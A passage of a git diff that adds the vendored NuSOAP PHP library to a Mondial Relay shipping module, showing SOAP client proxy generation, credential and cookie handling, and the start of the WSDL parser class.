SOAP response Header (parsed) + * + * @return mixed + * @access public + */ + function getHeader(){ + return $this->responseHeader; + } + + /** + * set proxy info here + * + * @param string $proxyhost + * @param string $proxyport + * @param string $proxyusername + * @param string $proxypassword + * @access public + */ + function setHTTPProxy($proxyhost, $proxyport, $proxyusername = '', $proxypassword = '') { + $this->proxyhost = $proxyhost; + $this->proxyport = $proxyport; + $this->proxyusername = $proxyusername; + $this->proxypassword = $proxypassword; + } + + /** + * if authenticating, set user credentials here + * + * @param string $username + * @param string $password + * @param string $authtype (basic|digest|certificate|ntlm) + * @param array $certRequest (keys must be cainfofile (optional), sslcertfile, sslkeyfile, passphrase, verifypeer (optional), verifyhost (optional): see corresponding options in cURL docs) + * @access public + */ + function setCredentials($username, $password, $authtype = 'basic', $certRequest = array()) { + $this->debug("setCredentials username=$username authtype=$authtype certRequest="); + $this->appendDebug($this->varDump($certRequest)); + $this->username = $username; + $this->password = $password; + $this->authtype = $authtype; + $this->certRequest = $certRequest; + } + + /** + * use HTTP encoding + * + * @param string $enc HTTP encoding + * @access public + */ + function setHTTPEncoding($enc='gzip, deflate'){ + $this->debug("setHTTPEncoding(\"$enc\")"); + $this->http_encoding = $enc; + } + + /** + * Set whether to try to use cURL connections if possible + * + * @param boolean $use Whether to try to use cURL + * @access public + */ + function setUseCURL($use) { + $this->debug("setUseCURL($use)"); + $this->use_curl = $use; + } + + /** + * use HTTP persistent connections if possible + * + * @access public + */ + function useHTTPPersistentConnection(){ + $this->debug("useHTTPPersistentConnection"); + $this->persistentConnection = true; + } + + /** + * gets the default RPC parameter setting. + * If true, default is that call params are like RPC even for document style. + * Each call() can override this value. + * + * This is no longer used. + * + * @return boolean + * @access public + * @deprecated + */ + function getDefaultRpcParams() { + return $this->defaultRpcParams; + } + + /** + * sets the default RPC parameter setting. + * If true, default is that call params are like RPC even for document style + * Each call() can override this value. + * + * This is no longer used. + * + * @param boolean $rpcParams + * @access public + * @deprecated + */ + function setDefaultRpcParams($rpcParams) { + $this->defaultRpcParams = $rpcParams; + } + + /** + * dynamically creates an instance of a proxy class, + * allowing user to directly call methods from wsdl + * + * @return object soap_proxy object + * @access public + */ + function getProxy() { + $r = rand(); + $evalStr = $this->_getProxyClassCode($r); + //$this->debug("proxy class: $evalStr"); + if ($this->getError()) { + $this->debug("Error from _getProxyClassCode, so return NULL"); + return null; + } + // eval the class + eval($evalStr); + // instantiate proxy object + eval("\$proxy = new nusoap_proxy_$r('');"); + // transfer current wsdl data to the proxy thereby avoiding parsing the wsdl twice + $proxy->endpointType = 'wsdl'; + $proxy->wsdlFile = $this->wsdlFile; + $proxy->wsdl = $this->wsdl; + $proxy->operations = $this->operations; + $proxy->defaultRpcParams = $this->defaultRpcParams; + // transfer other state + $proxy->soap_defencoding = $this->soap_defencoding; + $proxy->username = $this->username; + $proxy->password = $this->password; + $proxy->authtype = $this->authtype; + $proxy->certRequest = $this->certRequest; + $proxy->requestHeaders = $this->requestHeaders; + $proxy->endpoint = $this->endpoint; + $proxy->forceEndpoint = $this->forceEndpoint; + $proxy->proxyhost = $this->proxyhost; + $proxy->proxyport = $this->proxyport; + $proxy->proxyusername = $this->proxyusername; + $proxy->proxypassword = $this->proxypassword; + $proxy->http_encoding = $this->http_encoding; + $proxy->timeout = $this->timeout; + $proxy->response_timeout = $this->response_timeout; + $proxy->persistentConnection = &$this->persistentConnection; + $proxy->decode_utf8 = $this->decode_utf8; + $proxy->curl_options = $this->curl_options; + $proxy->bindingType = $this->bindingType; + $proxy->use_curl = $this->use_curl; + return $proxy; + } + + /** + * dynamically creates proxy class code + * + * @return string PHP/NuSOAP code for the proxy class + * @access private + */ + function _getProxyClassCode($r) { + $this->debug("in getProxy endpointType=$this->endpointType"); + $this->appendDebug("wsdl=" . $this->varDump($this->wsdl)); + if ($this->endpointType != 'wsdl') { + $evalStr = 'A proxy can only be created for a WSDL client'; + $this->setError($evalStr); + $evalStr = "echo \"$evalStr\";"; + return $evalStr; + } + if ($this->endpointType == 'wsdl' && is_null($this->wsdl)) { + $this->loadWSDL(); + if ($this->getError()) { + return "echo \"" . $this->getError() . "\";"; + } + } + $evalStr = ''; + foreach ($this->operations as $operation => $opData) { + if ($operation != '') { + // create param string and param comment string + if (sizeof($opData['input']['parts']) > 0) { + $paramStr = ''; + $paramArrayStr = ''; + $paramCommentStr = ''; + foreach ($opData['input']['parts'] as $name => $type) { + $paramStr .= "\$$name, "; + $paramArrayStr .= "'$name' => \$$name, "; + $paramCommentStr .= "$type \$$name, "; + } + $paramStr = substr($paramStr, 0, strlen($paramStr)-2); + $paramArrayStr = substr($paramArrayStr, 0, strlen($paramArrayStr)-2); + $paramCommentStr = substr($paramCommentStr, 0, strlen($paramCommentStr)-2); + } else { + $paramStr = ''; + $paramArrayStr = ''; + $paramCommentStr = 'void'; + } + $opData['namespace'] = !isset($opData['namespace']) ? 'http://testuri.com' : $opData['namespace']; + $evalStr .= "// $paramCommentStr + function " . str_replace('.', '__', $operation) . "($paramStr) { + \$params = array($paramArrayStr); + return \$this->call('$operation', \$params, '".$opData['namespace']."', '".(isset($opData['soapAction']) ? $opData['soapAction'] : '')."'); + } + "; + unset($paramStr); + unset($paramCommentStr); + } + } + $evalStr = 'class nusoap_proxy_'.$r.' extends nusoap_client { + '.$evalStr.' +}'; + return $evalStr; + } + + /** + * dynamically creates proxy class code + * + * @return string PHP/NuSOAP code for the proxy class + * @access public + */ + function getProxyClassCode() { + $r = rand(); + return $this->_getProxyClassCode($r); + } + + /** + * gets the HTTP body for the current request. + * + * @param string $soapmsg The SOAP payload + * @return string The HTTP body, which includes the SOAP payload + * @access private + */ + function getHTTPBody($soapmsg) { + return $soapmsg; + } + + /** + * gets the HTTP content type for the current request. + * + * Note: getHTTPBody must be called before this. + * + * @return string the HTTP content type for the current request. + * @access private + */ + function getHTTPContentType() { + return 'text/xml'; + } + + /** + * gets the HTTP content type charset for the current request. + * returns false for non-text content types. + * + * Note: getHTTPBody must be called before this. + * + * @return string the HTTP content type charset for the current request. + * @access private + */ + function getHTTPContentTypeCharset() { + return $this->soap_defencoding; + } + + /* + * whether or not parser should decode utf8 element content + * + * @return always returns true + * @access public + */ + function decodeUTF8($bool){ + $this->decode_utf8 = $bool; + return true; + } + + /** + * adds a new Cookie into $this->cookies array + * + * @param string $name Cookie Name + * @param string $value Cookie Value + * @return boolean if cookie-set was successful returns true, else false + * @access public + */ + function setCookie($name, $value) { + if (strlen($name) == 0) { + return false; + } + $this->cookies[] = array('name' => $name, 'value' => $value); + return true; + } + + /** + * gets all Cookies + * + * @return array with all internal cookies + * @access public + */ + function getCookies() { + return $this->cookies; + } + + /** + * checks all Cookies and delete those which are expired + * + * @return boolean always return true + * @access private + */ + function checkCookies() { + if (sizeof($this->cookies) == 0) { + return true; + } + $this->debug('checkCookie: check ' . sizeof($this->cookies) . ' cookies'); + $curr_cookies = $this->cookies; + $this->cookies = array(); + foreach ($curr_cookies as $cookie) { + if (! is_array($cookie)) { + $this->debug('Remove cookie that is not an array'); + continue; + } + if ((isset($cookie['expires'])) && (! empty($cookie['expires']))) { + if (strtotime($cookie['expires']) > time()) { + $this->cookies[] = $cookie; + } else { + $this->debug('Remove expired cookie ' . $cookie['name']); + } + } else { + $this->cookies[] = $cookie; + } + } + $this->debug('checkCookie: '.sizeof($this->cookies).' cookies left in array'); + return true; + } + + /** + * updates the current cookies with a new set + * + * @param array $cookies new cookies with which to update current ones + * @return boolean always return true + * @access private + */ + function UpdateCookies($cookies) { + if (sizeof($this->cookies) == 0) { + // no existing cookies: take whatever is new + if (sizeof($cookies) > 0) { + $this->debug('Setting new cookie(s)'); + $this->cookies = $cookies; + } + return true; + } + if (sizeof($cookies) == 0) { + // no new cookies: keep what we've got + return true; + } + // merge + foreach ($cookies as $newCookie) { + if (!is_array($newCookie)) { + continue; + } + if ((!isset($newCookie['name'])) || (!isset($newCookie['value']))) { + continue; + } + $newName = $newCookie['name']; + + $found = false; + for ($i = 0; $i < count($this->cookies); $i++) { + $cookie = $this->cookies[$i]; + if (!is_array($cookie)) { + continue; + } + if (!isset($cookie['name'])) { + continue; + } + if ($newName != $cookie['name']) { + continue; + } + $newDomain = isset($newCookie['domain']) ? $newCookie['domain'] : 'NODOMAIN'; + $domain = isset($cookie['domain']) ? $cookie['domain'] : 'NODOMAIN'; + if ($newDomain != $domain) { + continue; + } + $newPath = isset($newCookie['path']) ? $newCookie['path'] : 'NOPATH'; + $path = isset($cookie['path']) ? $cookie['path'] : 'NOPATH'; + if ($newPath != $path) { + continue; + } + $this->cookies[$i] = $newCookie; + $found = true; + $this->debug('Update cookie ' . $newName . '=' . $newCookie['value']); + break; + } + if (! $found) { + $this->debug('Add cookie ' . $newName . '=' . $newCookie['value']); + $this->cookies[] = $newCookie; + } + } + return true; + } +} + +if (!extension_loaded('soap')) { + /** + * For backwards compatiblity, define soapclient unless the PHP SOAP extension is loaded. + */ + class soapclient extends nusoap_client { + } +} +?> diff --git a/modules/mondialrelay/lib/nusoap/class.wsdl.php b/modules/mondialrelay/lib/nusoap/class.wsdl.php new file mode 100755 index 0000000..58fdb20 --- /dev/null +++ b/modules/mondialrelay/lib/nusoap/class.wsdl.php @@ -0,0 +1,1937 @@ + +* @author Scott Nichol +* @version $Id$ +* @access public +*/ +class wsdl extends nusoap_base { + // URL or filename of the root of this WSDL + var $wsdl; + // define internal arrays of bindings, ports, operations, messages, etc. + var $schemas = array(); + var $currentSchema; + var $message = array(); + var $complexTypes = array(); + var $messages = array(); + var $currentMessage; + var $currentOperation; + var $portTypes = array(); + var $currentPortType; + var $bindings = array(); + var $currentBinding; + var $ports = array(); + var $currentPort; + var $opData = array(); + var $status = ''; + var $documentation = false; + var $endpoint = ''; + // array of wsdl docs to import + var $import = array(); + // parser vars + var $parser; + var $position = 0; + var $depth = 0; + var $depth_array = array(); + // for getting wsdl + var $proxyhost = ''; + var $proxyport = ''; + var $proxyusername = ''; + var $proxypassword = ''; + var $timeout = 0; + var $response_timeout = 30; + var $curl_options = array(); // User-specified cURL options + var $use_curl = false; // whether to always try to use cURL + // for HTTP authentication + var $username = ''; // Username for HTTP authentication + var $password = ''; // Password for HTTP authentication + var $authtype = ''; // Type of HTTP authentication + var $certRequest = array(); // Certificate for HTTP SSL authentication + + /** + * constructor + * + * @param string $wsdl WSDL document URL + * @param string $proxyhost + * @param string $proxyport + * @param string $proxyusername + * @param string $proxypassword + * @param integer $timeout set the connection timeout + * @param integer $response_timeout set the response timeout + * @param array $curl_options user-specified cURL options + * @param boolean $use_curl try to use cURL + * @access public + */ + function wsdl($wsdl = '',$proxyhost=false,$proxyport=false,$proxyusername=false,$proxypassword=false,$timeout=0,$response_timeout=30,$curl_options=null,$use_curl=false){ + parent::nusoap_base(); + $this->debug("ctor wsdl=$wsdl timeout=$timeout response_timeout=$response_timeout"); + $this->proxyhost = $proxyhost; + $this->proxyport = $proxyport; + $this->proxyusername = $proxyusername; + $this->proxypassword = $proxypassword; + $this->timeout = $timeout; + $this->response_timeout = $response_timeout; + if (is_array($curl_options)) + $this->curl_options = $curl_options; + $this->use_curl = $use_curl; + $this->fetchWSDL($wsdl); + } + + /** + * fetches the WSDL document and parses it + * + * @access public + */ + function fetchWSDL($wsdl) { + $this->debug("parse and process WSDL path=$wsdl"); + $this->wsdl = $wsdl; + // parse wsdl file + if ($this->wsdl != "") { + $this->parseWSDL($this->wsdl); + } + // imports + // TODO: handle imports more properly, grabbing them in-line and nesting them + $imported_urls = array(); + $imported = 1; + while ($imported > 0) { + $imported = 0; + // Schema imports + foreach ($this->schemas as $ns => $list) { + foreach ($list as $xs) { + $wsdlparts = parse_url($this->wsdl); // this is bogusly simple! + foreach ($xs->imports as $ns2 => $list2) { + for ($ii = 0; $ii < count($list2); $ii++) { + if (! $list2[$ii]['loaded']) { + $this->schemas[$ns]->imports[$ns2][$ii]['loaded'] = true; + $url = $list2[$ii]['location']; + if ($url != '') { + $urlparts = parse_url($url); + if (!isset($urlparts['host'])) { + $url = $wsdlparts['scheme'] . '://' . $wsdlparts['host'] . (isset($wsdlparts['port']) ? ':' .$wsdlparts['port'] : '') . + substr($wsdlparts['path'],0,strrpos($wsdlparts['path'],'/') + 1) .$urlparts['path']; + } + if (! in_array($url, $imported_urls)) { + $this->parseWSDL($url); + $imported++; + $imported_urls[] = $url; + } + } else { + $this->debug("Unexpected scenario: empty URL for unloaded import"); + } + } + } + } + } + } + // WSDL imports + $wsdlparts = parse_url($this->wsdl); // this is bogusly simple! + foreach ($this->import as $ns => $list) { + for ($ii = 0; $ii < count($list); $ii++) { + if (! $list[$ii]['loaded']) { + $this->import[$ns][$ii]['loaded'] = true; + $url = $list[$ii]['location']; + if ($url != '') { + $urlparts = parse_url($url); + if (!isset($urlparts['host'])) { + $url = $wsdlparts['scheme'] . '://' . $wsdlparts['host'] . (isset($wsdlparts['port']) ? ':' . $wsdlparts['port'] : '') . + substr($wsdlparts['path'],0,strrpos($wsdlparts['path'],'/') + 1) .$urlparts['path']; + } + if (! in_array($url, $imported_urls)) { + $this->parseWSDL($url); + $imported++; + $imported_urls[] = $url; + } + } else { + $this->debug("Unexpected scenario: empty URL for unloaded import"); + } + } + } + } + } + // add new data to operation data + foreach($this->bindings as $binding => $bindingData) { + if (isset($bindingData['operations']) && is_array($bindingData['operations'])) { + foreach($bindingData['operations'] as $operation => $data) { + $this->debug('post-parse data gathering for ' . $operation); + $this->bindings[$binding]['operations'][$operation]['input'] = + isset($this->bindings[$binding]['operations'][$operation]['input']) ? + array_merge($this->bindings[$binding]['operations'][$operation]['input'], $this->portTypes[ $bindingData['portType'] ][$operation]['input']) : + $this->portTypes[ $bindingData['portType'] ][$operation]['input']; + $this->bindings[$binding]['operations'][$operation]['output'] = + isset($this->bindings[$binding]['operations'][$operation]['output']) ? + array_merge($this->bindings[$binding]['operations'][$operation]['output'], $this->portTypes[ $bindingData['portType'] ][$operation]['output']) : + $this->portTypes[ $bindingData['portType'] ][$operation]['output']; + if(isset($this->messages[ $this->bindings[$binding]['operations'][$operation]['input']['message'] ])){ + $this->bindings[$binding]['operations'][$operation]['input']['parts'] = $this->messages[ $this->bindings[$binding]['operations'][$operation]['input']['message'] ]; + } + if(isset($this->messages[ $this->bindings[$binding]['operations'][$operation]['output']['message'] ])){ + $this->bindings[$binding]['operations'][$operation]['output']['parts'] = $this->messages[ $this->bindings[$binding]['operations'][$operation]['output']['message'] ]; + } + // Set operation style if necessary, but do not override one already provided + if (isset($bindingData['style']) && !isset($this->bindings[$binding]['operations'][$operation]['style'])) { + $this->bindings[$binding]['operations'][$operation]['style'] = $bindingData['style']; + } + $this->bindings[$binding]['operations'][$operation]['transport'] = isset($bindingData['transport']) ? $bindingData['transport'] : ''; + $this->bindings[$binding]['operations'][$operation]['documentation'] = isset($this->portTypes[ $bindingData['portType'] ][$operation]['documentation']) ? $this->portTypes[ $bindingData['portType'] ][$operation]['documentation'] : ''; + $this->bindings[$binding]['operations'][$operation]['endpoint'] = isset($bindingData['endpoint']) ? $bindingData['endpoint'] : ''; + } + } + } + } + + /** + * parses the wsdl document + * + * @param string $wsdl path or URL + * @access private + */ + function parseWSDL($wsdl = '') { + $this->debug("parse WSDL at path=$wsdl"); + + if ($wsdl == '') { + $this->debug('no wsdl passed to parseWSDL()!!'); + $this->setError('no wsdl passed to parseWSDL()!!'); + return false; + } + + // parse $wsdl for url format + $wsdl_props = parse_url($wsdl); + + if (isset($wsdl_props['scheme']) && ($wsdl_props['scheme'] == 'http' || $wsdl_props['scheme'] == 'https')) { + $this->debug('getting WSDL http(s) URL ' . $wsdl); + // get wsdl + $tr = new soap_transport_http($wsdl, $this->curl_options, $this->use_curl); + $tr->request_method = 'GET'; + $tr->useSOAPAction = false; + if($this->proxyhost && $this->proxyport){ + $tr->setProxy($this->proxyhost,$this->proxyport,$this->proxyusername,$this->proxypassword); + } + if ($this->authtype != '') { + $tr->setCredentials($this->username, $this->password, $this->authtype, array(), $this->certRequest); + } + $tr->setEncoding('gzip, deflate'); + $wsdl_string = $tr->send('', $this->timeout, $this->response_timeout); + //$this->debug("WSDL request\n" . $tr->outgoing_payload); + //$this->debug("WSDL response\n" . $tr->incoming_payload); + $this->appendDebug($tr->getDebug()); + // catch errors + if($err = $tr->getError() ){ + $errstr = 'Getting ' . $wsdl . ' - HTTP ERROR: '.$err; + $this->debug($errstr); + $this->setError($errstr); + unset($tr); + return false; + } + unset($tr); + $this->debug("got WSDL URL"); + } else { + // $wsdl is not http(s), so treat it as a file URL or plain file path + if (isset($wsdl_props['scheme']) && ($wsdl_props['scheme'] == 'file') && isset($wsdl_props['path'])) { + $path = isset($wsdl_props['host']) ? ($wsdl_props['host'] . ':' . $wsdl_props['path']) : $wsdl_props['path']; + } else { + $path = $wsdl; + } + $this->debug('getting WSDL file ' . $path); + if ($fp = @fopen($path, 'r')) { + $wsdl_string = ''; + while ($data = fread($fp, 32768)) { + $wsdl_string .= $data; + } + fclose($fp); + } else { + $errstr = "Bad path to WSDL file $path"; + $this->debug($errstr); + $this->setError($errstr); + return false; + } + } + $this->debug('Parse WSDL'); + // end new code added + // Create an XML parser. + $this->parser = xml_parser_create(); + // Set the options for parsing the XML data. + // xml_parser_set_option($parser, XML_OPTION_SKIP_WHITE, 1); + xml_parser_set_option($this->parser, XML_OPTION_CASE_FOLDING, 0); + // Set the object for the parser. + xml_set_object($this->parser, $this); + // Set the element handlers for the parser. + xml_set_element_handler($this->parser, 'start_element', 'end_element'); + xml_set_character_data_handler($this->parser, 'character_data'); + // Parse the XML file. + if (!xml_parse($this->parser, $wsdl_string, true)) { + // Display an error message. + $errstr = sprintf( + 'XML error parsing WSDL from %s on line %d: %s', + $wsdl, + xml_get_current_line_number($this->parser), + xml_error_string(xml_get_error_code($this->parser)) + ); + $this->debug($errstr); + $this->debug("XML payload:\n" . $wsdl_string); + $this->setError($errstr); + return false; + } + // free the parser + xml_parser_free($this->parser); + $this->debug('Parsing WSDL done'); + // catch wsdl parse errors + if($this->getError()){ + return false; + } + return true; + } + + /** + * start-element handler + * + * @param string $parser XML parser object + * @param string $name element name + * @param string $attrs associative array of attributes + * @access private + */ + function start_element($parser, $name, $attrs) + { + if ($this->status == 'schema') { + $this->currentSchema->schemaStartElement($parser, $name, $attrs); + $this->appendDebug($this->currentSchema->getDebug()); + $this->currentSchema->clearDebug(); + } elseif (preg_match('/schema$/', $name)) { + $this->debug('Parsing WSDL schema'); + // $this->debug("startElement for $name ($attrs[name]). status = $this->status (".$this->getLocalPart($name).")"); + $this->status = 'schema'; + $this->currentSchema = new nusoap_xmlschema('', '', $this->namespaces); + $this->currentSchema->schemaStartElement($parser, $name, $attrs); + $this->appendDebug($this->currentSchema->getDebug()); + $this->currentSchema->clearDebug(); + } else { + // position in the total number of elements, starting from 0 + $pos = $this->position++; + $depth = $this->depth++; + // set self as current value for this depth + $this->depth_array[$depth] = $pos; + $this->message[$pos] = array('cdata' => ''); + // process attributes + if (count($attrs) > 0) { + // register namespace declarations + foreach($attrs as $k => $v) { + if (preg_match('/^xmlns/',$k)) { + if ($ns_prefix = substr(strrchr($k, ':'), 1)) { + $this->namespaces[$ns_prefix] = $v; + } else { + $this->namespaces['ns' . (count($this->namespaces) + 1)] = $v; + } + if ($v == 'http://www.w3.org/2001/XMLSchema' || $v == 'http://www.w3.org/1999/XMLSchema' || $v == 'http://www.w3.org/2000/10/XMLSchema') { + $this->XMLSchemaVersion = $v; + $this->namespaces['xsi'] = $v . '-instance'; + } + } + } + // expand each attribute prefix to its namespace + foreach($attrs as $k => $v) { + $k = strpos($k, ':') ? $this->expandQname($k) : $k; + if ($k != 'location' && $k != 'soapAction' && $k != 'namespace') { + $v = strpos($v, ':') ? $this->expandQname($v) : $v; + } + $eAttrs[$k] = $v; + } + $attrs = $eAttrs; + } else { + $attrs = array(); + } + // get element prefix, namespace and name + if (preg_match('/:/', $name)) { + // get ns prefix + $prefix = substr($name, 0, strpos($name, ':')); + // get ns + $namespace = isset($this->namespaces[$prefix]) ? $this->namespaces[$prefix] : ''; + // get unqualified name + $name = substr(strstr($name, ':'), 1); + } + // process attributes, expanding any prefixes to namespaces + // find status, register data + switch ($this->status) { + case 'message': + if ($name == 'part') { + if (isset($attrs['type'])) { + $this->debug("msg " . $this->currentMessage . ": found part (with type) $attrs[name]: " . implode(',', $attrs)); + $this->messages[$this->currentMessage][$attrs['name']] = $attrs['type']; + } + if (isset($attrs['element'])) { + $this->debug("msg " . $this->currentMessage . ": found part (with element) $attrs[name]: " . implode(',', $attrs)); + $this->messages[$this->currentMessage][$attrs['name']] = $attrs['element'] . '^'; + } + } + break; + case 'portType': + switch ($name) { + case 'operation': + $this->currentPortOperation = $attrs['name']; + $this->debug("portType $this->currentPortType operation: $this->currentPortOperation"); + if (isset($attrs['parameterOrder'])) { + $this->portTypes[$this->currentPortType][$attrs['name']]['parameterOrder'] = $attrs['parameterOrder']; + } + break; + case 'documentation': + $this->documentation = true; + break; + // merge input/output data + default: + $m = isset($attrs['message']) ? $this->getLocalPart($attrs['message']) : ''; + $this->portTypes[$this->currentPortType][$this->currentPortOperation][$name]['message'] = $m; + break; + } + break; + case 'binding': + switch ($name) { + case 'binding': + // get ns prefix + if (isset($attrs['style'])) { + $this->bindings[$this->currentBinding]['prefix'] = $prefix; + } + $this->bindings[$this->currentBinding] = array_merge($this->bindings[$this->currentBinding], $attrs); + break; + case 'header': + $this->bindings[$this->currentBinding]['operations'][$this->currentOperation][$this->opStatus]['headers'][] = $attrs; + break; + case 'operation': + if (isset($attrs['soapAction'])) { + $this->bindings[$this->currentBinding]['operations'][$this->currentOperation]['soapAction'] = $attrs['soapAction']; + } + if (isset($attrs['style'])) { + $this->bindings[$this->currentBinding]['operations'][$this->currentOperation]['style'] = $attrs['style']; + } + if (isset($attrs['name'])) { + $this->currentOperation = $attrs['name']; + $this->debug("current binding operation: $this->currentOperation"); + $this->bindings[$this->currentBinding]['operations'][$this->currentOperation]['name'] = $attrs['name']; + $this->bindings[$this->currentBinding]['operations'][$this->currentOperation]['binding'] = $this->currentBinding; + $this->bindings[$this->currentBinding]['operations'][$this->currentOperation]['endpoint'] = isset($this->bindings[$this->currentBinding]['endpoint']) ? $this->bindings[$this->currentBinding]['endpoint'] : ''; + } + break; + case 'input': + $this->opStatus = 'input'; + break; + case 'output': + $this->opStatus = 'output'; + break; + case 'body': + if (isset($this->bindings[$this->currentBinding]['operations'][$this->currentOperation][$this->opStatus])) { + $this->bindings[$this->currentBinding]['operations'][$this->currentOperation][$this->opStatus] = array_merge($this->bindings[$this->currentBinding]['operations'][$this->currentOperation][$this->opStatus], $attrs); + } else { + $this->bindings[$this->currentBinding]['operations'][$this->currentOperation][$this->opStatus] = $attrs; + } + break; + } + break; + case 'service': + switch ($name) { + case 'port': + $this->currentPort = $attrs['name']; + $this->debug('current port: ' . $this->currentPort); + $this->ports[$this->currentPort]['binding'] = $this->getLocalPart($attrs['binding']); + + break; + case 'address': + $this->ports[$this->currentPort]['location'] = $attrs['location']; + $this->ports[$this->currentPort]['bindingType'] = $namespace; + $this->bindings[ $this->ports[$this->currentPort]['binding'] ]['bindingType'] = $namespace; + $this->bindings[ $this->ports[$this->currentPort]['binding'] ]['endpoint'] = $attrs['location']; + break; + } + break; + } + // set status + switch ($name) { + case 'import': + if (isset($attrs['location'])) { + $this->import[$attrs['namespace']][] = array('location' => $attrs['location'], 'loaded' => false); + $this->debug('parsing import ' . $attrs['namespace']. ' - ' . $attrs['location'] . ' (' . count($this->import[$attrs['namespace']]).')'); + } else { + $this->import[$attrs['namespace']][] = array('location' => '', 'loaded' => true); + if (! $this->getPrefixFromNamespace($attrs['namespace'])) { + $this->namespaces['ns'.(count($this->namespaces)+1)] = $attrs['namespace']; + } + $this->debug('parsing import ' . $attrs['namespace']. ' - [no location] (' . count($this->import[$attrs['namespace']]).')'); + } + break; + //wait for schema + //case 'types': + // $this->status = 'schema'; + // break; + case 'message': + $this->status = 'message'; + $this->messages[$attrs['name']] = array(); + $this->currentMessage = $attrs['name']; + break; + case 'portType': + $this->status = 'portType'; + $this->portTypes[$attrs['name']] = array(); + $this->currentPortType = $attrs['name']; + break; + case "binding": + if (isset($attrs['name'])) { + // get binding name + if (strpos($attrs['name'], ':')) { + $this->currentBinding = $this->getLocalPart($attrs['name']); + } else { + $this->currentBinding = $attrs['name']; + } + $this->status = 'binding'; + $this->bindings[$this->currentBinding]['portType'] = $this->getLocalPart($attrs['type']); + $this->debug("current binding: $this->currentBinding of portType: " . $attrs['type']); + } + break; + case 'service': + $this->serviceName = $attrs['name']; + $this->status = 'service'; + $this->debug('current service: ' . $this->serviceName); + break; + case 'definitions': + foreach ($attrs as $name => $value) { + $this->wsdl_info[$name] = $value; + } + break; + } + } + } + + /** + * end-element handler + * + * @param string $parser XML parser object + * @param string $name element name + * @access private + */ + function end_element($parser, $name){ + // unset schema status + if (/*preg_match('/types$/', $name) ||*/ preg_match('/schema$/', $name)) { + $this->status = ""; + $this->appendDebug($this->currentSchema->getDebug()); + $this->currentSchema->clearDebug(); + $this->schemas[$this->currentSchema->schemaTargetNamespace][] = $this->currentSchema; + $this->debug('Parsing WSDL schema done'); + } + if ($this->status == 'schema') { + $this->currentSchema->schemaEndElement($parser, $name); + } else { + // bring depth down a notch + $this->depth--; + } + // end documentation + if ($this->documentation) { + //TODO: track the node to which documentation should be assigned; it can be a part, message, etc. + //$this->portTypes[$this->currentPortType][$this->currentPortOperation]['documentation'] = $this->documentation; + $this->documentation = false; + } + } + + /** + * element content handler + * + * @param string $parser XML parser object + * @param string $data element content + * @access private + */ + function character_data($parser, $data) + { + $pos = isset($this->depth_array[$this->depth]) ? $this->depth_array[$this->depth] : 0; + if (isset($this->message[$pos]['cdata'])) { + $this->message[$pos]['cdata'] .= $data; + } + if ($this->documentation) { + $this->documentation .= $data; + } + } + + /** + * if authenticating, set user credentials here + * + * @param string $username + * @param string $password + * @param string $authtype (basic|digest|certificate|ntlm) + * @param array $certRequest (keys must be cainfofile (optional), sslcertfile, sslkeyfile, passphrase, certpassword (optional), verifypeer (optional), verifyhost (optional): see corresponding options in cURL docs) + * @access public + */ + function setCredentials($username, $password, $authtype = 'basic', $certRequest = array()) { + $this->debug("setCredentials username=$username authtype=$authtype certRequest="); + $this->appendDebug($this->varDump($certRequest)); + $this->username = $username; + $this->password = $password; + $this->authtype = $authtype; + $this->certRequest = $certRequest; + } + + function getBindingData($binding) + { + if (is_array($this->bindings[$binding])) { + return $this->bindings[$binding]; + } + } + + /** + * returns an assoc array of operation names => operation data + * + * @param string $portName WSDL port name + * @param string $bindingType eg: soap, smtp, dime (only soap and soap12 are currently supported) + * @return array + * @access public + */ + function getOperations($portName = '', $bindingType = 'soap') { + $ops = array(); + if ($bindingType == 'soap') { + $bindingType = 'http://schemas.xmlsoap.org/wsdl/soap/'; + } elseif ($bindingType == 'soap12') { + $bindingType = 'http://schemas.xmlsoap.org/wsdl/soap12/'; + } else { + $this->debug("getOperations bindingType $bindingType may not be supported"); + } + $this->debug("getOperations for port '$portName' bindingType $bindingType"); + // loop thru ports + foreach($this->ports as $port => $portData) { + $this->debug("getOperations checking port $port bindingType " . $portData['bindingType']); + if ($portName == '' || $port == $portName) { + // binding type of port matches parameter + if ($portData['bindingType'] == $bindingType) { + $this->debug("getOperations found port $port bindingType $bindingType"); + //$this->debug("port data: " . $this->varDump($portData)); + //$this->debug("bindings: " . $this->varDump($this->bindings[ $portData['binding'] ])); + // merge bindings + if (isset($this->bindings[ $portData['binding'] ]['operations'])) { + $ops = array_merge ($ops, $this->bindings[ $portData['binding'] ]['operations']); + } + } + } + } + if (count($ops) == 0) { + $this->debug("getOperations found no operations for port '$portName' bindingType $bindingType"); + } + return $ops; + } + + /** + * returns an associative array of data necessary for calling an operation + * + * @param string $operation name of operation + * @param string $bindingType type of binding eg: soap, soap12 + * @return array + * @access public + */ + function getOperationData($operation, $bindingType = 'soap') + { + if ($bindingType == 'soap') { + $bindingType = 'http://schemas.xmlsoap.org/wsdl/soap/'; + } elseif ($bindingType == 'soap12') { + $bindingType = 'http://schemas.xmlsoap.org/wsdl/soap12/'; + } + // loop thru ports + foreach($this->ports as $port => $portData) { + // binding type of port matches parameter + if ($portData['bindingType'] == $bindingType) { + // get binding + //foreach($this->bindings[ $portData['binding'] ]['operations'] as $bOperation => $opData) { + foreach(array_keys($this->bindings[ $portData['binding'] ]['operations']) as $bOperation) { + // note that we could/should also check the namespace here + if ($operation == $bOperation) { + $opData = $this->bindings[ $portData['binding'] ]['operations'][$operation]; + return $opData; + } + } + } + } + } + + /** + * returns an associative array of data necessary for calling an operation + * + * @param string $soapAction soapAction for operation + * @param string $bindingType type of binding eg: soap, soap12 + * @return array + * @access public + */ + function getOperationDataForSoapAction($soapAction, $bindingType = 'soap') { + if ($bindingType == 'soap') { + $bindingType = 'http://schemas.xmlsoap.org/wsdl/soap/'; + } elseif ($bindingType == 'soap12') { + $bindingType = 'http://schemas.xmlsoap.org/wsdl/soap12/'; + } + // loop thru ports + foreach($this->ports as $port => $portData) { + // binding type of port matches parameter + if ($portData['bindingType'] == $bindingType) { + // loop through operations for the binding + foreach ($this->bindings[ $portData['binding'] ]['operations'] as $bOperation => $opData) { + if ($opData['soapAction'] == $soapAction) { + return $opData; + } + } + } + } + } + + /** + * returns an array of information about a given type + * returns false if no type exists by the given name + * + * typeDef = array( + * 'elements' => array(), // refs to elements array + * 'restrictionBase' => '', + * 'phpType' => '', + * 'order' => '(sequence|all)', + * 'attrs' => array() // refs to attributes array + * ) + * + * @param string $type the type + * @param string $ns namespace (not prefix) of the type + * @return mixed + * @access public + * @see nusoap_xmlschema + */ + function getTypeDef($type, $ns) { + $this->debug("in 